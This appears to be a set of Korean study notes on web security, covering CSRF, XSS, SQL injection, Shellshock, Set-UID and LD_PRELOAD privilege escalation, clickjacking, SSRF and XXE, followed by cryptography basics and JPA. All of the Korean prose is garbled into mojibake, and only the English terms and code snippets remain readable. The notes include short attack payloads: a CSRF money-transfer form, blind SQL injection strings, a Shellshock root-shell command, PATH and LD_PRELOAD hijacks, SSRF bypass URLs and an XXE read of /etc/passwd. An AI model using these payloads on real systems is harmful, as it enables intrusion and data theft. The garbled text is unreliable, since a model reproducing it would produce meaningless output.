CORS (Cross-Origin Resource Sharing) ๋ค๋ฅธ Origin์ ๋ฆฌ์์ค๋ฅผ ์์ฒญํ ๋, ์๋ฒ์์ ํ์ฉํ๋ ์ ์ฑ
Cookie ์๋ฒ๊ฐ ํด๋ผ์ด์ธํธ์๊ฒ ๋ณด๋ด๋ ์ ๋ณด
Cookie Scoping Domain ํด๋น ๋๋ฉ์ธ์ Subdomain ๋๋ Parent Domain์ ๋ํด์๋ง ์ฟ ํค๋ฅผ ์ ์ก
Path ํด๋น ๊ฒฝ๋ก์ ํ์ ๊ฒฝ๋ก๊น์ง ์ฟ ํค๋ฅผ ์ ์ก
Secure Cookies HTTPS ํ๋กํ ์ฝ์ ์ฌ์ฉํ ๋๋ง ์ฟ ํค๋ฅผ ์ ์ก
1Set-Cookie: name=value; Secure HTTPOnly Cookies JavaScript์์ ์ฟ ํค์ ์ ๊ทผํ ์ ์๋๋ก ํจ
1Set-Cookie: name=value; HttpOnly CSRF (Cross Site Request Forgery) ๋ค๋ฅธ ์ฌ์ดํธ์์ ์์ฒญ์ ์์กฐํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
๋ฐฐ๊ฒฝ ํน์ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธ๋ ์ํ๋ผ๋ฉด, ์ฌ์ฉ์๋ฅผ ํ์ธํ๊ธฐ ์ํด ๋ธ๋ผ์ฐ์ ์์ ์ฟ ํค์ ํจ๊ป ์์ฒญ์ ์ ์ก cross-site์์๋ ์ฟ ํค์ ํจ๊ป ์์ฒญ์ ๋ณด๋์๋, ์๋ฒ๊ฐ same-site์ธ์ง cross-site์ธ์ง ํ์ธ์ด ๋ถ๊ฐํ ๊ฒฝ์ฐ CSRF ๊ณต๊ฒฉ ๊ฐ๋ฅ ์์ ์๋๋ฆฌ์ค ํผํด์๊ฐ ํ์ฌ ๋ก๊ทธ์ธ๋ ์ํ๋ก Malicious Site์ ์ ์ Malicious site์์ ํผํด์ ์์ง์ ์๊ด์์ด ์ฟ ํค์ ํจ๊ป ์์ฒญ์ ์ ์ก GET ์์ ์ฝ๋ 1<img src="http://bank.com/transfer?to=attacker&amount=1000" /> POST ์์ ์ฝ๋ 1<form action="http://bank.com/transfer" method="post"> 2 <input type="hidden" name="to" value="attacker" /> 3 <input type="hidden" name="amount" value="1000" /> 4</form> 5<script> 6 document.forms[0].submit(); 7</script> ๋ฐฉ์ด Referer Header ์์ฒญ์ ๋ณด๋ธ ํ์ด์ง์ ์ฃผ์๋ฅผ ๋ํ๋ด๋ HTTP header๋ฅผ ํ์ธํ์ฌ, ์์ฒญ์ ๋ณด๋ธ ํ์ด์ง๊ฐ ๊ฐ์ ์ฌ์ดํธ์ธ์ง ํ์ธ
1Referer: http://www.example.com ํ๊ณ ํด๋น field๋ฅผ ์ด์ฉํด์ ์ ์ ๊ธฐ๋ก์ ํ์ธ ๊ฐ๋ฅ -> ๊ฐ์ธ์ ๋ณด ๋ณดํธ ๋ฌธ์ Same-Site Cookies ์๋ฒ๊ฐ ์ฟ ํค๋ฅผ ์ ์กํ ๋, SameSite๋ผ๋ ์ฟ ํค ์์ฑ๋ฅผ ์ ์ก, same-site์ธ์ง cross-site์ธ์ง ํ์ธํ์ฌ, ์ค์ ๊ฐ์ ๋ฐ๋ผ ์ฟ ํค๋ฅผ ์ ์กํ์ง ์์
์ค์ ๊ฐ None (๋ชจ๋ ์์ฒญ์ ์ฟ ํค ์ ์ก) Strict (cross-site๋ ํญ์ ์ฟ ํค ์ ์กํ์ง ์์) Lax (cross-site๋ GET ์์ฒญ์์๋ง ์ฟ ํค ์ ์กํ์ง ์์) Secret Token ํน์ origin์ ์ฒซ ์์ฒญ๋, ํน์ ํ ํ ํฐ์ ์์ฑ, ์ดํ ์์ฒญ์ ํด๋น ํ ํฐ์ ํจ๊ป ์ ์กํ์ฌ, ์์ฒญ์ด ๊ฐ์ Origin์์ ์จ ๊ฒ์ธ์ง ํ์ธ
Bypassing with Clickjacking ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ํด๋ฆญ์ ์ ๋ํ์ฌ, CSRF ๊ณต๊ฒฉ์ ์ํํ๋ ๊ธฐ๋ฒ
๋ฐฉ์ด X-Frame-Options Header (๊ฐ : DENY, SAMEORIGIN, ALLOW-FROM uri) ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋งํ๋ ๊ฒ์ ๋ฐฉ์ง
XSS(Cross Site Scripting) Attack Non-persistent (Reflected) XSS Attack ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ๊ทธ๋๋ก ์ถ๋ ฅํ์ฌ, ๊ณต๊ฒฉ์๊ฐ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์์ query string์ ์คํํ๋ ํ์ด์ง๊ฐ ์กด์ฌ (innerHTML) ํผํด์๊ฐ ํด๋น ๋งํฌ๋ฅผ ์คํ => http://www.example.com/search?input=<script>alert(โattackโ);</script> ํผํด์์ ๋ธ๋ผ์ฐ์ ์์ alert๊ฐ ์คํ๋จ Persistent (Stored) XSS Attack ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ DB์ ์ ์ฅํ์ฌ, ๊ณต๊ฒฉ์๊ฐ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์์ ๊ฒ์ํ์ ๊ธ์ ์์ฑํ๋ ํ์ด์ง๊ฐ ์กด์ฌ ํผํด์๊ฐ ํด๋น ํ์ด์ง์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ์ฌ ๊ธ์ ์์ฑ ๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ํด๋น ๊ธ์ ์ฝ์ ๋, ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋จ XSS๋ก ๋ฐ์ ๊ฐ๋ฅํ ํผํด Web defacing(์นํ์ด์ง ๋ณ์กฐ) Spoofing requests(์ฌ์ฉ์์ ์์ฒญ ๋ณ์กฐ) Stealing information(์ ๋ณด ํ์ทจ) Self-Propagation XSS Worm XSS ๊ณต๊ฒฉ์ ํตํด, ์๋์ผ๋ก ๊ณต๊ฒฉ์ ์ ํํ๋ ๊ธฐ๋ฒ
2๊ฐ์ง ์ ๊ทผ DOM Approach 1let jsCode = document.getElementById('worm').innerHTML; Link Approach 1let jsCode = `'<script src="http://www.example.com/worm.js"></script>'`; ๋ฐฉ์ด ์
๋ ฅ๊ฐ ํํฐ๋ง : ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ํํฐ๋งํ์ฌ, ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ง ์๋๋ก ํ๋ค Encoding : ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ์ถ๋ ฅํ ๋, HTML Encodingํ์ฌ, ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ง ์๋๋ก ํ๋ค Content Security Policy (CSP) : ์นํ์ด์ง์์ ์คํ ๊ฐ๋ฅํ ๋ฆฌ์์ค๋ฅผ ์ ํํ์ฌ, XSS ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๋ค ์์ (script ํ์ผ) 1Content-Security-Policy: script-src 'self' example.com ์์ (inline script) 1Content-Security-Policy: script-src 'nonce-2726c7f26c' 2// allowed script 3`<script nonce=2726c7f26c> ... </script>` 4// not allowed script 5`<script nonce=42eh44jhad> ... </script>` SQL Injection SQL ์ฟผ๋ฆฌ๋ฅผ ์กฐ์ํ์ฌ, DB์ ๋ํ ๊ณต๊ฒฉ์ ์ํํ๋ ๊ธฐ๋ฒ
์์ EID์ “EID5002’#“์ ์ฝ์
-> PASSWORD ๊ฒ์ฆ์ ์ฐ์ฆ 1SELECT NAME, SALERY, SSN 2FROM EMPLOYEE 3WHERE EID='EID5002'#' AND PASSWORD='1234'; curl์ ์ด์ฉํด์ SQL Injection ๊ณต๊ฒฉ 1curl 'www.example.com/getdata.php?EID=a' OR 1=1&PASSWORD=' ๋ฐฉ์ด Filtering and Encoding data SQL Injection์์ ์ฐ์ด๋ ํน์๋ฌธ์๋ฅผ Filtering, Encoding
1$mysqli->real_escape_string($input); ํ๊ณ ํ์ํ ๋ฌธ์์ด์ ํํฐ๋งํ ์ ์์ Prepared Statements SQL ์ฟผ๋ฆฌ๋ฅผ ๋ฏธ๋ฆฌ ์ค๋นํ์ฌ, ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ์ฝ์
ํ์ง ์๊ณ , ์ฟผ๋ฆฌ๋ฅผ ์คํ
1$stmt = $mysqli->prepare("SELECT NAME, SALARY, SSN FROM EMPLOYEE WHERE EID=? AND PASSWORD=?"); 2// ss means "string string" 3$stmt->bind_param("ss", $EID, $PASSWORD); 4$stmt->execute(); Blind SQL Injection SQL Injection ๊ณต๊ฒฉ์ ํตํด, DB์ ๋ํ ์ ๋ณด๋ฅผ ํ์ทจํ๋ ๊ธฐ๋ฒ
Conditional Response 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฐ์ง ํ์ธ */ 2xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm 3/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 't'๋ณด๋ค ํฐ์ง ํ์ธ */ 4xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't SQL Error - Divide by Zero 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฌ๋ฉด ์ค๋ฅ ๋ฐ์ */ 2xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 3'm') THEN 1/0 ELSE 'a' END FROM Users)='a SQL Error - Cast 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฌ๋ฉด ์ค๋ฅ ๋ฐ์ */ 2CAST((SELECT example_column FROM example_table) AS int) Time Delay 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฌ๋ฉด ๋๋ ์ด ๋ฐ์ */ 2'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND 3SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'- ShellShock Attack bash ์์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
Set-UID Programs Set-UID root ๊ถํ์ ๊ฐ์ง ํ๋ก๊ทธ๋จ์ด systemํจ์๋ฅผ ํธ์ถํ ๋, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
RUID : Real User ID : ํ๋ก๊ทธ๋จ์ ์คํํ ์ฌ์ฉ์์ ๊ถํ EUID : Effective User ID : ํ๋ก๊ทธ๋จ์ด ์คํ๋๋ ๊ถํ Set-UID Program : ์ฌ์ฉ์๊ฐ ํ๋ก๊ทธ๋จ์ root ๊ถํ์ผ๋ก ์คํํ ์ ์๋๋ก ํ๋ ํ๋ก๊ทธ๋จ, RUID์ EUID๊ฐ ๋ค๋ฆ, Set-UID Program์ ๋ง๋๋ ๋ฐฉ๋ฒ 1$ sudo chown root vul 2$ sudo chmod 4755 vul 3$ ls -l vul 4-rwsr-xr-x 1 root root 1234 Mar 11 12:00 vul # s๊ฐ ์กด์ฌ ์ทจ์ฝํ C ํ๋ก๊ทธ๋จ (vul : Set-UID program) 1#include <stdio.h> 2void main() { 3 setuid(geteuid()); // root ๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์๋ก ์ค์ 4 system("/bin/ls -l"); // ls -l ๋ช
๋ น์ด ์คํ 5} ๊ณต๊ฒฉ ๋ช
๋ น์ด 1$ export foo='() { echo "hello"; }; /bin/sh' 2$ ./vul CGI(Common Gateway Interface) Programs ์น ์๋ฒ์์ ์ฌ์ฉํ๋ CGI ํ๋ก๊ทธ๋จ์ ๋ํ ์ทจ์ฝ์
์ทจ์ฝํ CGI ํ๋ก๊ทธ๋จ (test.cgi) 1#!/bin/bash 2echo "Content-type: text/plain" 3echo 4echo "Hello, World!" ๊ณต๊ฒฉ ๋ช
๋ น์ด 1$ curl http://10.0.2.69/cgi-bin/test.cgi 2Hello, World! ๊ณต๊ฒฉ์ ํ์ฉํ๋ ๋ฐฉ๋ฒ ์ค์ ํ์ผ์ ํ๋์ฝ๋ฉ๋ db password ํ์ทจ reverse shell ์คํ Environment Variables & Attacks ํ๋ก์ธ์ค๊ฐ ํ๊ฒฝ๋ณ์๋ฅผ ์ป๋ ๋ฐฉ๋ฒ fork() : ์์์ ์์ฑ, ์์์ด ๋ถ๋ชจ์ ํ๊ฒฝ๋ณ์๋ฅผ ์์ execve() : ์๋ก์ด ํ๋ก๊ทธ๋จ์ ์์์ผ๋ก ์คํ, ์๋ก ํ๊ฒฝ๋ณ์๋ฅผ ์ค์ Attacks via Dynamic Linker ๋งํฌ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์กฐ์ํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์๋ฆฌ LD_PRELOAD๋ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ชฉ๋ก์ ์ ์ฅ ํจ์๋ฅผ ์ฐพ์ง ๋ชปํ๋ฉด, LD_LIBRARY_PATH์์ ์ฐพ์ ๋ ๋ณ์๋ฅผ ์กฐ์ํ์ฌ ๋งํฌ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์กฐ์ ์์ 1$ export LD_PRELOAD=/path/to/malicious.so 2$ ./vul Attacks via Execution Program ์คํ ํ๋ก๊ทธ๋จ์ ์กฐ์ํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์์ 1$ export PATH=/path/to/malicious:$PATH 2$ ./vul 3# // root shell ์ทจ๋ Attacks via Library format string ๋ฑ์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
Attacks via Application Code buffer overflow ๋ฑ์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
Set-UID Approach VS Service Approach Clickjacking Attack ์ฌ์ฉ์์ ์๋์ ์๊ด์์ด ํด๋ฆญ์ ์ ๋ํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
1<iframe id="top" src="http://www.attack.com" style="opacity: 0"></iframe> 2<iframe id="bottom" src="http://www.example.com>" style="opacity: 1"></iframe> ๋ฐฉ์ด Client-side (Framekiller and Framebuster) javascript๋ฅผ ์ด์ฉํ์ฌ, ํด๋น ํ์ด์ง๊ฐ iframe์ผ๋ก ๋ ๋๋ง๋๋ ๊ฒ์ ๋ฐฉ์ง
1if (top != self) 2if (top.location != self.location) 3... ํ๊ณ ์ฐํํ ์ ์๋ ๋ฐฉ๋ฒ์ด ๋ง์์ ๋ถ์์ -> ์ ์ฐ์ง ์๋๋ค ์ฐํ Double framing : ๋๊ฐ์ iframe์ ์ฌ์ฉํ์ฌ, ์ฒซ๋ฒ์งธ iframe์ ์จ๊ธฐ๊ณ , ๋๋ฒ์งธ iframe์ ๋ณด์ฌ์ค Abusing onBeforeUnload : ์ฌ์ฉ์๊ฐ ํ์ด์ง๋ฅผ ๋ ๋ ๋, alert์ ๋์์, ์ฌ์ฉ์์ ํด๋ฆญ์ ์ ๋ sandbox attribute : iframe์ sandbox attribute๋ฅผ ์ฌ์ฉํ์ฌ, ํด๋น iframe์์๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ง ์๋๋ก ํจ options allow-same-origin allow-scripts allow-forms allow-modals allow-top-navigation ์์ 1<iframe ... sandbox="allow_forms allow-scripts"></iframe> Referrer checking problems Referer๋ฅผ ํ์ธํ์ฌ ํน์ ๋๋ฉ์ธ์ ์ฌ์ดํธ๋ง iframe์ผ๋ก ๋ ๋๋ง๋์๋์ง ํ์ธ
ํ๊ณ : Referer๋ฅผ ์กฐ์ํ์ฌ ์ฐํ ๊ฐ๋ฅ Server-side X-Frame-Options
ํน์ ORIGIN ํ์ด์ง์์๋ง ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋งํ ์ ์๋๋ก ํจ
์์ 1X-Frame-Options: DENY // ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋งํ์ง ์์ 2X-Frame-Options: SAMEORIGIN // ๊ฐ์ ORIGIN ํ์ด์ง์์๋ง ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋ง 3X-Frame-Options: ALLOW-FROM uri // ํน์ uri์์๋ง ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋ง Outdated : CSP ์ฌ์ฉ ๊ถ์ฅ Content Security Policy (CSP)
์นํ์ด์ง์์ ์คํ ๊ฐ๋ฅํ ๋ฆฌ์์ค๋ฅผ ์ ํ
script-src : ์คํฌ๋ฆฝํธ source๋ฅผ ์ ํ img-src : ์ด๋ฏธ์ง์ source๋ฅผ ์ ํ frame-ancestors : <frame>, <iframe>, <object>, <embed> ๋๋ <applet> ์์์ ๋ถ๋ชจ๋ฅผ ์ ํ ์์ 1$csp = "Content-Security-Policy: frame-ancestors *"; 2header($csp); Types of Context Integrity Visual Integrity ๋ณด์ด๋ ๊ฒ๊ณผ ์ค์ ๋ก ์คํ๋๋ ๊ฒ์ ์ฐจ์ด์ ๋ํ ๋ฌด๊ฒฐ์ฑ
๋ฐฉ์ด๋ฅผ ์ํ ๋ฐฉ๋ฒ : User Confirmation, UI Randomization, Visibility Detection on Click Temporary Integrity ์ฌ์ฉ์ ํ์ธ ์์ ๊ณผ ํด๋ฆญ ์์ ์์ ์ฌ์ด์ UI ์ํ ์ฐจ์ด์ ๋ํ ๋ฌด๊ฒฐ์ฑ
๋ฐฉ์ด๋ฅผ ์ํ ๋ฐฉ๋ฒ : Access Control Gadgets SSRF (Server Side Request Forgery) ์๋ฒ์์ ๋ค๋ฅธ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ
๊ณต๊ฒฉ (์๋ฒ๊ฐ ์ ๋ขฐ๋ ์๋ฒ์์ ์์ฒญ์ด ์จ ๊ฒ์ผ๋ก ์ฐฉ๊ฐ) 1POST /product/stock HTTP/1.0 2Content-Type: application/www-form-urlencoded 3Content-Length: 30 4 5stockApi=http://localhost/admin ๋ฐฉ์ด ์ฐจ๋จ๋ ๋ฌธ์์ด์ URL ์ธ์ฝ๋ฉ ๋๋ ๋์๋ฌธ์ ๋ณํ์ ํตํด ์จ๊น ์๋ก ๋ค๋ฅธ ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ, ์์ฒญ์ ๋ณด๋ using @ 1https://expected-host:fakepassword@evil-host using # 1https://evil-host#expected-host Rogue DNS 1https://expected-host.evil-host Double encoding : # -> %23 -> %2523 XXE (XML eXternal Entity) Injection XML ํ์ฑ ๊ณผ์ ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
XML custom entity
XML์์ ์ฌ์ฉ์๊ฐ ์ ์ํ ์ํฐํฐ๋ฅผ ์ฌ์ฉํ์ฌ, ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฌธ์์ด์ ์ ์
1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE message [<!ENTITY greeting "Hello, ">]> 3<message> 4 <text>&greeting;world!</text> 5</message> Access internal file
XML ์ํฐํฐ๋ฅผ ์ด์ฉํ์ฌ, ์๋ฒ์ ํ์ผ์ ์ฝ์ด์ค๋ ๊ณต๊ฒฉ
1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE foo[<!ENTITY xxe SYSTEM "file:///etc/passwd">]> 3<stockCheck><productId>&xxe;</productId></stockCheck> With SSRF
SSRF์ ๊ฒฐํฉํ์ฌ, ์ธ๋ถ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๋ ๊ณต๊ฒฉ
1<!DOCTYPE foo[<!ENTITY xxe SYSTEM "http://localhost/admin">]> ์ํธ๊ธฐ์ ์ ํต์ ์ธ ์ํธ๊ธฐ์ ์ํธ์ ์ ์ ์ํธ๋ฅผ ์ฌ์ฉํ๋ ๋ชฉ์
๊ธฐ๋ฐ์ฑ (Confidentiality) : ์ ๋ณด๊ฐ ๋
ธ์ถ๋์ง ์์์ผํจ ์๋ฃ์ ๋ฌด๊ฒฐ์ฑ (Data Integrity) : ๋ฐ์ดํฐ๊ฐ ์๋ณ์กฐ๋๋ฉด ์๋จ ์ธ์ฆ (Authentication) : ์ ๋ณด์ ์ถ์ฒ๊ฐ ์ ๋นํด์ผํจ ๋ถ์ธ๋ฐฉ์ง (Non-repudiation) : ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ๊ฑฐ๋ถํ์ง ์์์ผํจ ์ํธ ์๊ณ ๋ฆฌ์ฆ์ ๊ธฐ๋ณธ ์กฐ๊ฑด (K : Key, M : Message, C : Cipher Text)
์ํธํ : E(K, M) = C ๋ณตํธํ : D(K, C) = C E(K, M)๊ณผ D(K, C)์ ๊ณ์ฐ์ ์ฌ์์ผ ํจ K๋ฅผ ๋ชจ๋ฅผ๋ C์์ M์ ๊ณ์ฐํ๋ ๊ฒ์ ์ด๋ ค์์ผ ํจ ์ํธ ํด๋
๋ฐฉ๋ฒ
Cipher Text Only Attack : ์ํธ๋ฌธ๋ง์ ์ด์ฉํ์ฌ ํ๋ฌธ์ ์ฐพ๋ ๊ณต๊ฒฉ Known Plain Text Attack : ์ํธ๋ฌธ๊ณผ ํ๋ฌธ์ ์ด์ฉํ์ฌ ํค๋ฅผ ์ฐพ๋ ๊ณต๊ฒฉ Chosen Plain Text Attack : ํ๋ฌธ์ ์ ํํ์ฌ ์ํธ๋ฌธ์ ์ฐพ๋ ๊ณต๊ฒฉ ์ํธ์ ์ข
๋ฅ ๋์นญํค(๋น๋ฐํค)(๊ด์ฉํค) ์ํธ ์ํธํ์ ๋ณตํธํ์ ๊ฐ์ ํค๋ฅผ ์ฌ์ฉํ๋ ์ํธ
์ฌ์ฉ์ n๋ช
์ ๋ฐ๋ผ ํ์ํ ํค์ ๊ฐ์ : n(n-1)/2 ์ํธ ์๊ณ ๋ฆฌ์ฆ์ ์ข
๋ฅ ๋ธ๋ก ์ํธ (DES, IDEA, AES) ํ๋ฌธ์ ๋ธ๋ก์ผ๋ก ๋๋์ด ์ํธํํ๋ ๋ฐฉ์
์คํธ๋ฆผ ์ํธ (RC4) ํ๋ฌธ๊ณผ ํค๋ฅผ ๋นํธ ๋จ์๋ก XORํ์ฌ ์ํธํํ๋ ๋ฐฉ์
ํ๊ตญ์์ ์ฐ๋ ์๊ณ ๋ฆฌ์ฆ ์ข
๋ฅ : NEAT, SEED, NES, ARIA ๊ณต๊ฐํค(๋น๋์นญํค) ์ํธ ์ํธํ์ ๋ณตํธํ์ ๋ค๋ฅธ ํค๋ฅผ ์ฌ์ฉํ๋ ์ํธ
์ฌ์ฉ์ n๋ช
์ ๋ฐ๋ผ ํ์ํ ํค์ ๊ฐ์ : 2n ๊ธฐ๋ฐ์ฑ (Confidentiality) : ๊ณต๊ฐํค๋ก ์ํธํ, ๊ฐ์ธํค๋ก ๋ณตํธํ ์ธ์ฆ (Authentication) : ๊ฐ์ธํค๋ก ์ํธํ, ๊ณต๊ฐํค๋ก ๋ณตํธํ ํค ์์ฑ DH ํค ๊ตํ ์ํธ๊ธฐ์ ์ ํ์ฉ ๋์งํธ ์๋ช
ํน์ฑ : ์์กฐ๋ถ๊ฐ, ๋ณ๊ฒฝ ๋ถ๊ฐ, ์๋ช
์ ์ธ์ฆ, ์ฌ์ฌ์ฉ ๋ถ๊ฐ, ๋ถ์ธ ๋ฐฉ์ง ๋ํ์ํธ์ ์์์ํธ ๊ธฐ์ JPA (Java Persistence API) JAVA์ง์์ ORM ๊ธฐ์ ํ์ค, interface ๋ชจ์ Hibernate, EclipseLink, DataNucleus ๋ฑ์ ๊ตฌํ์ฒด๊ฐ ์กด์ฌ EntityManager Entity : RDB์ Table๊ณผ ๋งคํ๋๋ ๊ฐ์ฒด EntityManagerFactory Entity๋ฅผ ๊ด๋ฆฌํ๋ EntityManager๋ฅผ ์์ฐํ๋ ๊ณต์ฅ Thread safe: O EntityManager Entity์ CRUD๋ฑ ๋ชจ๋ ์ผ์ ์ฒ๋ฆฌ Thread safe: X ์์์ฑ ์ปจํ
์คํธ Entity๋ฅผ ์๊ตฌ ์ ์ฅํ๋ ํ๊ฒฝ EntityManager๋ Entity๋ฅผ ์์์ฑ ์ปจํ
์คํธ์ ๋ณด๊ดํ๊ณ ๊ด๋ฆฌํ๋ค ์์์ฑ ์ปจํ
์คํธ์์ ๊ด๋ฆฌ๋๋ Entity๋ ์๋ณ์๊ฐ์ ๊ฐ์ ธ์ผ ํ๋ค (ID) -> key-value๋ก Entity๋ฅผ ๊ด๋ฆฌํ๊ธฐ ๋๋ฌธ flush: ์์์ฑ ์ปจํ
์คํธ์ ๋ณ๊ฒฝ ๋ด์ฉ๋ค์ DB์ ๋๊ธฐํํ๋ ์์
์์์ฑ ์ปจํ
์คํธ์ ์ด์ 1์ฐจ ์บ์ ๋์ผ์ฑ ๋ณด์ฅ ํธ๋์ญ์
์ ์ง์ํ๋ ์ฐ๊ธฐ ์ง์ฐ ๋ณ๊ฒฝ ๊ฐ์ง ์ง์ฐ ๋ก๋ฉ Entity์ Life cycle ๋น์์ (New / Transient): ์์์ฑ ์ปจํ
์คํธ์ ์ ํ ๊ด๊ณ๊ฐ ์๋ ์ํ ์์ (Managed): ์์์ฑ ์ปจํ
์คํธ์ ์ ์ฅ๋ ์ํ ์ค์์ (Detached): ์์์ฑ ์ปจํ
์คํธ์ ์ ์ฅ๋์๋ค๊ฐ ๋ถ๋ฆฌ๋ ์ํ ์ญ์ (Removed): ์ญ์ ๋ ์ํ ์ ์ฅ 1EntityManager em = emf.createEntityManager(); // Entity manger ์์ฑ 2EntityTransaction transaction = em.getTransaction(); // Transaction ํ๋ 3transaction.begin(); 4 5Customer customer = new Customer(); // ๋น์์ ์ํ 6customer.setId(1L); 7customer.setFirstName("John"); 8customer.setLastName("Doe"); 9 10em.persist(customer); // ์์ํ 11 12transaction.commit(); // Transaction commit ์กฐํ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); // 1์ฐจ ์บ์์์ ์กฐํ, query ์คํ X 4em.clear(); // ์์์ฑ ์ปจํ
์คํธ๋ฅผ ์ด๊ธฐํ 5Customer entity = em.find(Customer.class, 1L); // DB์์ ์กฐํ, query ์คํ O ์์ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); 4entity.setFirstName("guppy"); 5entity.setLastName("hong"); 6 7transaction.commit(); // update! ๋ณ๊ฒฝ๊ฐ์ง (dirty checking) JPA๋ Entity๋ฅผ ์์ํํ ๋์ ์ต์ด ์ํ๋ฅผ ์ค๋
์ท์ผ๋ก ์ ์ฅํด๋๋ค flush ์์ ์ ์ค๋
์ท๊ณผ ๋น๊ตํด์ ๋ณ๊ฒฝ๋ Entity์ ๋ํด update query๋ฅผ ์ํํ๋ค ์ญ์ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); 4em.remove(entity); 5 6transaction.commit(); // delete! Entity Mapping ๋จ์ผ ์ํฐํฐ๋งคํ @Entity : ๊ธฐ๋ณธ ์์ฑ์ ํ์ @Table : name์ผ๋ก ๋งคํํ ํ
์ด๋ธ ์ด๋ฆ ์ง์ @Id GenerationType - AUTO, IDENTITY, SEQUENCE, TABLE @Column name, length, unique, columnDefinition… insertable=updatable, nullable @Enumerated EnumType - ORDINAL, STRING ์ฐ๊ด๊ด๊ณ ๋งคํ ํ
์ด๋ธ์ ์ธ๋ํค๋ก ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ๋๋ค ๊ฐ์ฒด๋ ์ฐธ์กฐ๋ฅผ ํตํด ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ๋๋ค 1. ์ฐธ์กฐ์ ๋ฐฉํฅ ๋จ๋ฐฉํฅ, ์๋ฐฉํฅ
ํ
์ด๋ธ์ ํญ์ ์๋ฐฉํฅ์ด๋ค 2. ์ฐ๊ด ๊ด๊ณ ์ฃผ์ธ ๊ฐ์ฒด๊ฐ ์๋ฐฉํฅ ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ์ ๋, ์ฐ๊ด ๊ด๊ณ์ ์ฃผ์ธ์ ์ ํด์ผ ํ๋ค ์ฃผ์ธ๋ง ์ธ๋ ํค๋ฅผ ๊ด๋ฆฌ(๋ฑ๋ก, ์์ ) ํ ์ ์๋ค, ์ฃผ์ธ์ด ์๋ ์ชฝ์ ์ฝ๊ธฐ๋ง ๊ฐ๋ฅ mappedBy๋ฅผ ํตํด ์ฃผ์ธ์ด ์๋ ์ํฐํฐ์์ ์ฃผ์ธ์ ์ง์ ํ๋ค 3. ๋ค์ค์ฑ ManyToOne, OneToMany, OneToOne, ManyToMany
